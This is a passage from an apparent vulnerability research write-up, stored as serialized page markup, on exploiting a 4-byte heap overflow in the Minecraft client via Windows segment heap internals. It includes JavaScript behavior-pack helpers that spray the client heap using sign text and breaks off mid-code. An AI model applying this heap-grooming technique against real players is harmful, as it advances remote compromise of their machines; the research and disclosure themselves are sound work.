Heap",{"type":22,"tag":31,"props":151392,"children":151393},{},[151394,151396,151403],{"type":28,"value":151395},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":22,"tag":42,"props":151397,"children":151400},{"href":151398,"rel":151399},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[46],[151401],{"type":28,"value":151402},"this talk",{"type":28,"value":151404}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":22,"tag":1899,"props":151406,"children":151408},{"id":151407},"low-fragmentation-heap",[151409],{"type":28,"value":151410},"Low Fragmentation Heap",{"type":22,"tag":31,"props":151412,"children":151413},{},[151414,151416,151422],{"type":28,"value":151415},"Low Fragmentation Heap (LFH) services allocations of ",{"type":22,"tag":114,"props":151417,"children":151419},{"className":151418},[],[151420],{"type":28,"value":151421},"0x3ff0",{"type":28,"value":151423}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":22,"tag":31,"props":151425,"children":151426},{},[151427],{"type":28,"value":151428},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":22,"tag":107,"props":151430,"children":151432},{"code":151431},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[151433],{"type":22,"tag":114,"props":151434,"children":151435},{"__ignoreMap":7},[151436],{"type":28,"value":151431},{"type":22,"tag":31,"props":151438,"children":151439},{},[151440],{"type":28,"value":151441},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":22,"tag":1899,"props":151443,"children":151445},{"id":151444},"variable-size",[151446],{"type":28,"value":151447},"Variable Size",{"type":22,"tag":31,"props":151449,"children":151450},{},[151451,151453,151459,151461,151467],{"type":28,"value":151452},"This subsegment is used for allocation sizes from ",{"type":22,"tag":114,"props":151454,"children":151456},{"className":151455},[],[151457],{"type":28,"value":151458},"0x4000",{"type":28,"value":151460}," and up to ",{"type":22,"tag":114,"props":151462,"children":151464},{"className":151463},[],[151465],{"type":28,"value":151466},"0x20_000",{"type":28,"value":151468},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":22,"tag":107,"props":151470,"children":151472},{"code":151471},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[151473],{"type":22,"tag":114,"props":151474,"children":151475},{"__ignoreMap":7},[151476],{"type":28,"value":151471},{"type":22,"tag":31,"props":151478,"children":151479},{},[151480,151482,151488],{"type":28,"value":151481},"The header, ",{"type":22,"tag":114,"props":151483,"children":151485},{"className":151484},[],[151486],{"type":28,"value":151487},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":151489},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":22,"tag":20760,"props":151491,"children":151492},{},[],{"type":22,"tag":31,"props":151494,"children":151495},{},[151496],{"type":28,"value":151497},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":22,"tag":31,"props":151499,"children":151500},{},[151501,151503,151510],{"type":28,"value":151502},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":22,"tag":42,"props":151504,"children":151507},{"href":151505,"rel":151506},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[46],[151508],{"type":28,"value":151509},"technique published",{"type":28,"value":151511}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":22,"tag":31,"props":151513,"children":151514},{},[151515],{"type":28,"value":151516},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":22,"tag":31,"props":151518,"children":151519},{},[151520],{"type":28,"value":151521},"In either case, we needed a way to spray the heap before we could proceed.",{"type":22,"tag":1289,"props":151523,"children":151525},{"id":151524},"finding-a-way-to-spray-the-heap",[151526],{"type":28,"value":151527},"Finding a Way to Spray the Heap",{"type":22,"tag":31,"props":151529,"children":151530},{},[151531],{"type":28,"value":151532},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":22,"tag":64,"props":151534,"children":151535},{},[151536,151541,151546,151551],{"type":22,"tag":68,"props":151537,"children":151538},{},[151539],{"type":28,"value":151540},"The size of the allocation",{"type":22,"tag":68,"props":151542,"children":151543},{},[151544],{"type":28,"value":151545},"The data written into the allocated buffer",{"type":22,"tag":68,"props":151547,"children":151548},{},[151549],{"type":28,"value":151550},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":22,"tag":68,"props":151552,"children":151553},{},[151554],{"type":28,"value":151555},"The number of created objects (preferably unbounded)",{"type":22,"tag":31,"props":151557,"children":151558},{},[151559],{"type":28,"value":151560},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":22,"tag":1899,"props":151562,"children":151564},{"id":151563},"minecraft-signs",[151565],{"type":28,"value":151566},"Minecraft Signs",{"type":22,"tag":31,"props":151568,"children":151569},{},[151570],{"type":28,"value":151571},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":22,"tag":31,"props":151573,"children":151574},{},[151575,151577,151583],{"type":28,"value":151576},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":22,"tag":114,"props":151578,"children":151580},{"className":151579},[],[151581],{"type":28,"value":151582},"std::string",{"type":28,"value":292},{"type":22,"tag":31,"props":151585,"children":151586},{},[151587,151589,151594],{"type":28,"value":151588},"In Microsoft’s C++ implementation, ",{"type":22,"tag":114,"props":151590,"children":151592},{"className":151591},[],[151593],{"type":28,"value":151582},{"type":28,"value":151595}," is structured roughly as follows:",{"type":22,"tag":107,"props":151597,"children":151599},{"code":151598,"language":5169,"meta":7,"className":18481,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[151600],{"type":22,"tag":114,"props":151601,"children":151602},{"__ignoreMap":7},[151603,151614,151621,151633,151649,151673,151680,151691,151703],{"type":22,"tag":118,"props":151604,"children":151605},{"class":120,"line":121},[151606,151610],{"type":22,"tag":118,"props":151607,"children":151608},{"style":146},[151609],{"type":28,"value":11399},{"type":22,"tag":118,"props":151611,"children":151612},{"style":125},[151613],{"type":28,"value":86640},{"type":22,"tag":118,"props":151615,"children":151616},{"class":120,"line":142},[151617],{"type":22,"tag":118,"props":151618,"children":151619},{"style":125},[151620],{"type":28,"value":12879},{"type":22,"tag":118,"props":151622,"children":151623},{"class":120,"line":177},[151624,151629],{"type":22,"tag":118,"props":151625,"children":151626},{"style":146},[151627],{"type":28,"value":151628},"    union",{"type":22,"tag":118,"props":151630,"children":151631},{"style":125},[151632],{"type":28,"value":1474},{"type":22,"tag":118,"props":151634,"children":151635},{"class":120,"line":195},[151636,151641,151645],{"type":22,"tag":118,"props":151637,"children":151638},{"style":146},[151639],{"type":28,"value":151640},"        char",{"type":22,"tag":118,"props":151642,"children":151643},{"style":210},[151644],{"type":28,"value":671},{"type":22,"tag":118,"props":151646,"children":151647},{"style":125},[151648],{"type":28,"value":18523},{"type":22,"tag":118,"props":151650,"children":151651},{"class":120,"line":244},[151652,151656,151661,151665,151669],{"type":22,"tag":118,"props":151653,"children":151654},{"style":146},[151655],{"type":28,"value":151640},{"type":22,"tag":118,"props":151657,"children":151658},{"style":204},[151659],{"type":28,"value":151660}," buf",{"type":22,"tag":118,"props":151662,"children":151663},{"style":125},[151664],{"type":28,"value":5746},{"type":22,"tag":118,"props":151666,"children":151667},{"style":674},[151668],{"type":28,"value":42786},{"type":22,"tag":118,"props":151670,"children":151671},{"style":125},[151672],{"type":28,"value":33513},{"type":22,"tag":118,"props":151674,"children":151675},{"class":120,"line":253},[151676],{"type":22,"tag":118,"props":151677,"children":151678},{"style":125},[151679],{"type":28,"value":40938},{"type":22,"tag":118,"props":151681,"children":151682},{"class":120,"line":263},[151683,151687],{"type":22,"tag":118,"props":151684,"children":151685},{"style":146},[151686],{"type":28,"value":18531},{"type":22,"tag":118,"props":151688,"children":151689},{"style":125},[151690],{"type":28,"value":126198},{"type":22,"tag":118,"props":151692,"children":151693},{"class":120,"line":318},[151694,151698],{"type":22,"tag":118,"props":151695,"children":151696},{"style":146},[151697],{"type":28,"value":18531},{"type":22,"tag":118,"props":151699,"children":151700},{"style":125},[151701],{"type":28,"value":151702}," capacity;\n",{"type":22,"tag":118,"props":151704,"children":151705},{"class":120,"line":351},[151706],{"type":22,"tag":118,"props":151707,"children":151708},{"style":125},[151709],{"type":28,"value":4277},{"type":22,"tag":31,"props":151711,"children":151712},{},[151713,151715,151721,151723,151728],{"type":28,"value":151714},"We are primarily interested in the union: ",{"type":22,"tag":114,"props":151716,"children":151718},{"className":151717},[],[151719],{"type":28,"value":151720},"buf",{"type":28,"value":151722}," is used when the string fits within 16 bytes, while ",{"type":22,"tag":114,"props":151724,"children":151726},{"className":151725},[],[151727],{"type":28,"value":15933},{"type":28,"value":151729}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":22,"tag":31,"props":151731,"children":151732},{},[151733],{"type":28,"value":151734},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":22,"tag":31,"props":151736,"children":151737},{},[151738],{"type":28,"value":151739},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":22,"tag":1899,"props":151741,"children":151743},{"id":151742},"spraying-with-server-side-scripting",[151744],{"type":28,"value":151745},"Spraying With Server-Side Scripting",{"type":22,"tag":31,"props":151747,"children":151748},{},[151749],{"type":28,"value":151750},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":22,"tag":31,"props":151752,"children":151753},{},[151754,151756,151762,151763,151769],{"type":28,"value":151755},"We wrote ",{"type":22,"tag":114,"props":151757,"children":151759},{"className":151758},[],[151760],{"type":28,"value":151761},"alloc",{"type":28,"value":12991},{"type":22,"tag":114,"props":151764,"children":151766},{"className":151765},[],[151767],{"type":28,"value":151768},"free",{"type":28,"value":151770}," helpers that trigger an allocation in the client and free it on demand:",{"type":22,"tag":107,"props":151772,"children":151774},{"code":151773,"language":37556,"meta":7,"className":37554,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[151775],{"type":22,"tag":114,"props":151776,"children":151777},{"__ignoreMap":7},[151778,151786,151828,151861,151906,151918,151925,151932,151993,152020,152035,152042,152049,152078,152093,152100,152107,152115,152139,152190,152201,152208,152215,152252,152279,152286,152315,152345,152352,152379],{"type":22,"tag":118,"props":151779,"children":151780},{"class":120,"line":121},[151781],{"type":22,"tag":118,"props":151782,"children":151783},{"style":257},[151784],{"type":28,"value":151785},"// Allocate sign text in the client\n",{"type":22,"tag":118,"props":151787,"children":151788},{"class":120,"line":142},[151789,151793,151798,151802,151806,151810,151815,151819,151824],{"type":22,"tag":118,"props":151790,"children":151791},{"style":146},[151792],{"type":28,"value":33316},{"type":22,"tag":118,"props":151794,"children":151795},{"style":532},[151796],{"type":28,"value":151797}," alloc",{"type":22,"tag":118,"props":151799,"children":151800},{"style":125},[151801],{"type":28,"value":540},{"type":22,"tag":118,"props":151803,"children":151804},{"style":204},[151805],{"type":28,"value":125856},{"type":22,"tag":118,"props":151807,"children":151808},{"style":125},[151809],{"type":28,"value":231},{"type":22,"tag":118,"props":151811,"children":151812},{"style":204},[151813],{"type":28,"value":151814},"fill",{"type":22,"tag":118,"props":151816,"children":151817},{"style":210},[151818],{"type":28,"value":282},{"type":22,"tag":118,"props":151820,"children":151821},{"style":1866},[151822],{"type":28,"value":151823},"\"A\"",{"type":22,"tag":118,"props":151825,"children":151826},{"style":125},[151827],{"type":28,"value":16783},{"type":22,"tag":118,"props":151829,"children":151830},{"class":120,"line":177},[151831,151835,151839,151843,151848,151852,151857],{"type":22,"tag":118,"props":151832,"children":151833},{"style":1480},[151834],{"type":28,"value":5059},{"type":22,"tag":118,"props":151836,"children":151837},{"style":125},[151838],{"type":28,"value":842},{"type":22,"tag":118,"props":151840,"children":151841},{"style":146},[151842],{"type":28,"value":3149},{"type":22,"tag":118,"props":151844,"children":151845},{"style":204},[151846],{"type":28,"value":151847}," sign",{"type":22,"tag":118,"props":151849,"children":151850},{"style":146},[151851],{"type":28,"value":12362},{"type":22,"tag":118,"props":151853,"children":151854},{"style":204},[151855],{"type":28,"value":151856}," signs",{"type":22,"tag":118,"props":151858,"children":151859},{"style":125},[151860],{"type":28,"value":16783},{"type":22,"tag":118,"props":151862,"children":151863},{"class":120,"line":195},[151864,151868,151872,151877,151881,151886,151890,151894,151898,151902],{"type":22,"tag":118,"props":151865,"children":151866},{"style":1480},[151867],{"type":28,"value":5293},{"type":22,"tag":118,"props":151869,"children":151870},{"style":125},[151871],{"type":28,"value":842},{"type":22,"tag":118,"props":151873,"children":151874},{"style":204},[151875],{"type":28,"value":151876},"sign",{"type":22,"tag":118,"props":151878,"children":151879},{"style":125},[151880],{"type":28,"value":292},{"type":22,"tag":118,"props":151882,"children":151883},{"style":204},[151884],{"type":28,"value":151885},"allocated",{"type":22,"tag":118,"props":151887,"children":151888},{"style":210},[151889],{"type":28,"value":25646},{"type":22,"tag":118,"props":151891,"children":151892},{"style":204},[151893],{"type":28,"value":151847},{"type":22,"tag":118,"props":151895,"children":151896},{"style":125},[151897],{"type":28,"value":292},{"type":22,"tag":118,"props":151899,"children":151900},{"style":204},[151901],{"type":28,"value":134561},{"type":22,"tag":118,"props":151903,"children":151904},{"style":125},[151905],{"type":28,"value":16783},{"type":22,"tag":118,"props":151907,"children":151908},{"class":120,"line":244},[151909,151914],{"type":22,"tag":118,"props":151910,"children":151911},{"style":1480},[151912],{"type":28,"value":151913},"            continue",{"type":22,"tag":118,"props":151915,"children":151916},{"style":125},[151917],{"type":28,"value":801},{"type":22,"tag":118,"props":151919,"children":151920},{"class":120,"line":253},[151921],{"type":22,"tag":118,"props":151922,"children":151923},{"style":125},[151924],{"type":28,"value":1835},{"type":22,"tag":118,"props":151926,"children":151927},{"class":120,"line":263},[151928],{"type":22,"tag":118,"props":151929,"children":151930},{"emptyLinePlaceholder":15},[151931],{"type":28,"value":250},{"type":22,"tag":118,"props":151933,"children":151934},{"class":120,"line":318},[151935,151940,151944,151948,151952,151957,151961,151965,151969,151973,151977,151981,151985,151989],{"type":22,"tag":118,"props":151936,"children":151937},{"style":204},[151938],{"type":28,"value":151939},"        sign",{"type":22,"tag":118,"props":151941,"children":151942},{"style":125},[151943],{"type":28,"value":292},{"type":22,"tag":118,"props":151945,"children":151946},{"style":204},[151947],{"type":28,"value":151876},{"type":22,"tag":118,"props":151949,"children":151950},{"style":125},[151951],{"type":28,"value":292},{"type":22,"tag":118,"props":151953,"children":151954},{"style":532},[151955],{"type":28,"value":151956},"setText",{"type":22,"tag":118,"props":151958,"children":151959},{"style":125},[151960],{"type":28,"value":540},{"type":22,"tag":118,"props":151962,"children":151963},{"style":204},[151964],{"type":28,"value":151814},{"type":22,"tag":118,"props":151966,"children":151967},{"style":125},[151968],{"type":28,"value":292},{"type":22,"tag":118,"props":151970,"children":151971},{"style":532},[151972],{"type":28,"value":134811},{"type":22,"tag":118,"props":151974,"children":151975},{"style":125},[151976],{"type":28,"value":540},{"type":22,"tag":118,"props":151978,"children":151979},{"style":204},[151980],{"type":28,"value":125856},{"type":22,"tag":118,"props":151982,"children":151983},{"style":210},[151984],{"type":28,"value":53196},{"type":22,"tag":118,"props":151986,"children":151987},{"style":674},[151988],{"type":28,"value":6535},{"type":22,"tag":118,"props":151990,"children":151991},{"style":125},[151992],{"type":28,"value":9230},{"type":22,"tag":118,"props":151994,"children":151995},{"class":120,"line":351},[151996,152000,152004,152008,152012,152016],{"type":22,"tag":118,"props":151997,"children":151998},{"style":204},[151999],{"type":28,"value":151939},{"type":22,"tag":118,"props":152001,"children":152002},{"style":125},[152003],{"type":28,"value":292},{"type":22,"tag":118,"props":152005,"children":152006},{"style":204},[152007],{"type":28,"value":151885},{"type":22,"tag":118,"props":152009,"children":152010},{"style":210},[152011],{"type":28,"value":837},{"type":22,"tag":118,"props":152013,"children":152014},{"style":146},[152015],{"type":28,"value":1537},{"type":22,"tag":118,"props":152017,"children":152018},{"style":125},[152019],{"type":28,"value":801},{"type":22,"tag":118,"props":152021,"children":152022},{"class":120,"line":359},[152023,152027,152031],{"type":22,"tag":118,"props":152024,"children":152025},{"style":1480},[152026],{"type":28,"value":2223},{"type":22,"tag":118,"props":152028,"children":152029},{"style":204},[152030],{"type":28,"value":151847},{"type":22,"tag":118,"props":152032,"children":152033},{"style":125},[152034],{"type":28,"value":801},{"type":22,"tag":118,"props":152036,"children":152037},{"class":120,"line":368},[152038],{"type":22,"tag":118,"props":152039,"children":152040},{"style":125},[152041],{"type":28,"value":1254},{"type":22,"tag":118,"props":152043,"children":152044},{"class":120,"line":384},[152045],{"type":22,"tag":118,"props":152046,"children":152047},{"emptyLinePlaceholder":15},[152048],{"type":28,"value":250},{"type":22,"tag":118,"props":152050,"children":152051},{"class":120,"line":417},[152052,152056,152060,152065,152069,152074],{"type":22,"tag":118,"props":152053,"children":152054},{"style":204},[152055],{"type":28,"value":33378},{"type":22,"tag":118,"props":152057,"children":152058},{"style":125},[152059],{"type":28,"value":292},{"type":22,"tag":118,"props":152061,"children":152062},{"style":532},[152063],{"type":28,"value":152064},"warn",{"type":22,"tag":118,"props":152066,"children":152067},{"style":125},[152068],{"type":28,"value":540},{"type":22,"tag":118,"props":152070,"children":152071},{"style":1866},[152072],{"type":28,"value":152073},"\"No more allocs\"",{"type":22,"tag":118,"props":152075,"children":152076},{"style":125},[152077],{"type":28,"value":682},{"type":22,"tag":118,"props":152079,"children":152080},{"class":120,"line":425},[152081,152085,152089],{"type":22,"tag":118,"props":152082,"children":152083},{"style":1480},[152084],{"type":28,"value":18954},{"type":22,"tag":118,"props":152086,"children":152087},{"style":146},[152088],{"type":28,"value":41279},{"type":22,"tag":118,"props":152090,"children":152091},{"style":125},[152092],{"type":28,"value":801},{"type":22,"tag":118,"props":152094,"children":152095},{"class":120,"line":441},[152096],{"type":22,"tag":118,"props":152097,"children":152098},{"style":125},[152099],{"type":28,"value":481},{"type":22,"tag":118,"props":152101,"children":152102},{"class":120,"line":475},[152103],{"type":22,"tag":118,"props":152104,"children":152105},{"emptyLinePlaceholder":15},[152106],{"type":28,"value":250},{"type":22,"tag":118,"props":152108,"children":152109},{"class":120,"line":484},[152110],{"type":22,"tag":118,"props":152111,"children":152112},{"style":257},[152113],{"type":28,"value":152114},"// Free an allocated sign in the client\n",{"type":22,"tag":118,"props":152116,"children":152117},{"class":120,"line":492},[152118,152122,152127,152131,152135],{"type":22,"tag":118,"props":152119,"children":152120},{"style":146},[152121],{"type":28,"value":33316},{"type":22,"tag":118,"props":152123,"children":152124},{"style":532},[152125],{"type":28,"value":152126}," free",{"type":22,"tag":118,"props":152128,"children":152129},{"style":125},[152130],{"type":28,"value":540},{"type":22,"tag":118,"props":152132,"children":152133},{"style":204},[152134],{"type":28,"value":151876},{"type":22,"tag":118,"props":152136,"children":152137},{"style":125},[152138],{"type":28,"value":16783},{"type":22,"tag":118,"props":152140,"children":152141},{"class":120,"line":501},[152142,152146,152150,152154,152158,152162,152166,152170,152174,152178,152182,152186],{"type":22,"tag":118,"props":152143,"children":152144},{"style":1480},[152145],{"type":28,"value":2159},{"type":22,"tag":118,"props":152147,"children":152148},{"style":125},[152149],{"type":28,"value":842},{"type":22,"tag":118,"props":152151,"children":152152},{"style":204},[152153],{"type":28,"value":151876},{"type":22,"tag":118,"props":152155,"children":152156},{"style":210},[152157],{"type":28,"value":1780},{"type":22,"tag":118,"props":152159,"children":152160},{"style":146},[152161],{"type":28,"value":41279},{"type":22,"tag":118,"props":152163,"children":152164},{"style":210},[152165],{"type":28,"value":25646},{"type":22,"tag":118,"props":152167,"children":152168},{"style":204},[152169],{"type":28,"value":151847},{"type":22,"tag":118,"props":152171,"children":152172},{"style":125},[152173],{"type":28,"value":292},{"type":22,"tag":118,"props":152175,"children":152176},{"style":204},[152177],{"type":28,"value":151885},{"type":22,"tag":118,"props":152179,"children":152180},{"style":210},[152181],{"type":28,"value":1780},{"type":22,"tag":118,"props":152183,"children":152184},{"style":146},[152185],{"type":28,"value":1678},{"type":22,"tag":118,"props":152187,"children":152188},{"style":125},[152189],{"type":28,"value":16783},{"type":22,"tag":118,"props":152191,"children":152192},{"class":120,"line":519},[152193,152197],{"type":22,"tag":118,"props":152194,"children":152195},{"style":1480},[152196],{"type":28,"value":2223},{"type":22,"tag":118,"props":152198,"children":152199},{"style":125},[152200],{"type":28,"value":801},{"type":22,"tag":118,"props":152202,"children":152203},{"class":120,"line":606},[152204],{"type":22,"tag":118,"props":152205,"children":152206},{"style":125},[152207],{"type":28,"value":1254},{"type":22,"tag":118,"props":152209,"children":152210},{"class":120,"line":615},[152211],{"type":22,"tag":118,"props":152212,"children":152213},{"emptyLinePlaceholder":15},[152214],{"type":28,"value":250},{"type":22,"tag":118,"props":152216,"children":152217},{"class":120,"line":685},[152218,152223,152227,152231,152235,152239,152243,152248],{"type":22,"tag":118,"props":152219,"children":152220},{"style":204},[152221],{"type":28,"value":152222},"    sign",{"type":22,"tag":118,"props":152224,"children":152225},{"style":125},[152226],{"type":28,"value":292},{"type":22,"tag":118,"props":152228,"children":152229},{"style":204},[152230],{"type":28,"value":151876},{"type":22,"tag":118,"props":152232,"children":152233},{"style":125},[152234],{"type":28,"value":292},{"type":22,"tag":118,"props":152236,"children":152237},{"style":532},[152238],{"type":28,"value":151956},{"type":22,"tag":118,"props":152240,"children":152241},{"style":125},[152242],{"type":28,"value":540},{"type":22,"tag":118,"props":152244,"children":152245},{"style":1866},[152246],{"type":28,"value":152247},"\"\"",{"type":22,"tag":118,"props":152249,"children":152250},{"style":125},[152251],{"type":28,"value":682},{"type":22,"tag":118,"props":152253,"children":152254},{"class":120,"line":699},[152255,152259,152263,152267,152271,152275],{"type":22,"tag":118,"props":152256,"children":152257},{"style":204},[152258],{"type":28,"value":152222},{"type":22,"tag":118,"props":152260,"children":152261},{"style":125},[152262],{"type":28,"value":292},{"type":22,"tag":118,"props":152264,"children":152265},{"style":204},[152266],{"type":28,"value":151885},{"type":22,"tag":118,"props":152268,"children":152269},{"style":210},[152270],{"type":28,"value":837},{"type":22,"tag":118,"props":152272,"children":152273},{"style":146},[152274],{"type":28,"value":1678},{"type":22,"tag":118,"props":152276,"children":152277},{"style":125},[152278],{"type":28,"value":801},{"type":22,"tag":118,"props":152280,"children":152281},{"class":120,"line":729},[152282],{"type":22,"tag":118,"props":152283,"children":152284},{"emptyLinePlaceholder":15},[152285],{"type":28,"value":250},{"type":22,"tag":118,"props":152287,"children":152288},{"class":120,"line":771},[152289,152293,152297,152302,152306,152311],{"type":22,"tag":118,"props":152290,"children":152291},{"style":204},[152292],{"type":28,"value":152222},{"type":22,"tag":118,"props":152294,"children":152295},{"style":125},[152296],{"type":28,"value":292},{"type":22,"tag":118,"props":152298,"children":152299},{"style":204},[152300],{"type":28,"value":152301},"block",{"type":22,"tag":118,"props":152303,"children":152304},{"style":125},[152305],{"type":28,"value":292},{"type":22,"tag":118,"props":152307,"children":152308},{"style":532},[152309],{"type":28,"value":152310},"setPermutation",{"type":22,"tag":118,"props":152312,"children":152313},{"style":125},[152314],{"type":28,"value":696},{"type":22,"tag":118,"props":152316,"children":152317},{"class":120,"line":785},[152318,152323,152327,152332,152336,152341],{"type":22,"tag":118,"props":152319,"children":152320},{"style":204},[152321],{"type":28,"value":152322},"        BlockPermutation",{"type":22,"tag":118,"props":152324,"children":152325},{"style":125},[152326],{"type":28,"value":292},{"type":22,"tag":118,"props":152328,"children":152329},{"style":532},[152330],{"type":28,"value":152331},"resolve",{"type":22,"tag":118,"props":152333,"children":152334},{"style":125},[152335],{"type":28,"value":540},{"type":22,"tag":118,"props":152337,"children":152338},{"style":1866},[152339],{"type":28,"value":152340},"\"minecraft:air\"",{"type":22,"tag":118,"props":152342,"children":152343},{"style":125},[152344],{"type":28,"value":3665},{"type":22,"tag":118,"props":152346,"children":152347},{"class":120,"line":804},[152348],{"type":22,"tag":118,"props":152349,"children":152350},{"style":125},[152351],{"type":28,"value":45594},{"type":22,"tag":118,"props":152353,"children":152354},{"class":120,"line":812},[152355,152359,152363,152367,152371,152375],{"type":22,"tag":118,"props":152356,"children":152357},{"style":204},[152358],{"type":28,"value":152222},{"type":22,"tag":118,"props":152360,"children":152361},{"style":125},[152362],{"type":28,"value":292},{"type":22,"tag":118,"props":152364,"children":152365},{"style":204},[152366],{"type":28,"value":134561},{"type":22,"tag":118,"props":152368,"children":152369},{"style":210},[152370],{"type":28,"value":837},{"type":22,"tag":118,"props":152372,"children":152373},{"style":146},[152374],{"type":28,"value":1537},{"type":22,"tag":118,"props":152376,"children":152377},{"style":125},[152378],{"type":28,"value":801},{"type":22,"tag":118,"props":152380,"children":152381},{"class":120,"line":821},[152382],{"type":22,"tag":118,"props":152383,"children":152384},{"style":125},[152385],{"type":28,"value":481},{"type":22,"tag":31,"props":152387,"children":152388},{},[152389,152391,152397],{"type":28,"value":152390},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":22,"tag":114,"props":152392,"children":152394},{"className":152393},[],[152395],{"type":28,"value":152396},"signs",{"type":28,"value":152398}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":22,"tag":107,"props":152400,"children":152402},{"code":152401,"language":37556,"meta":7,"className":37554,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    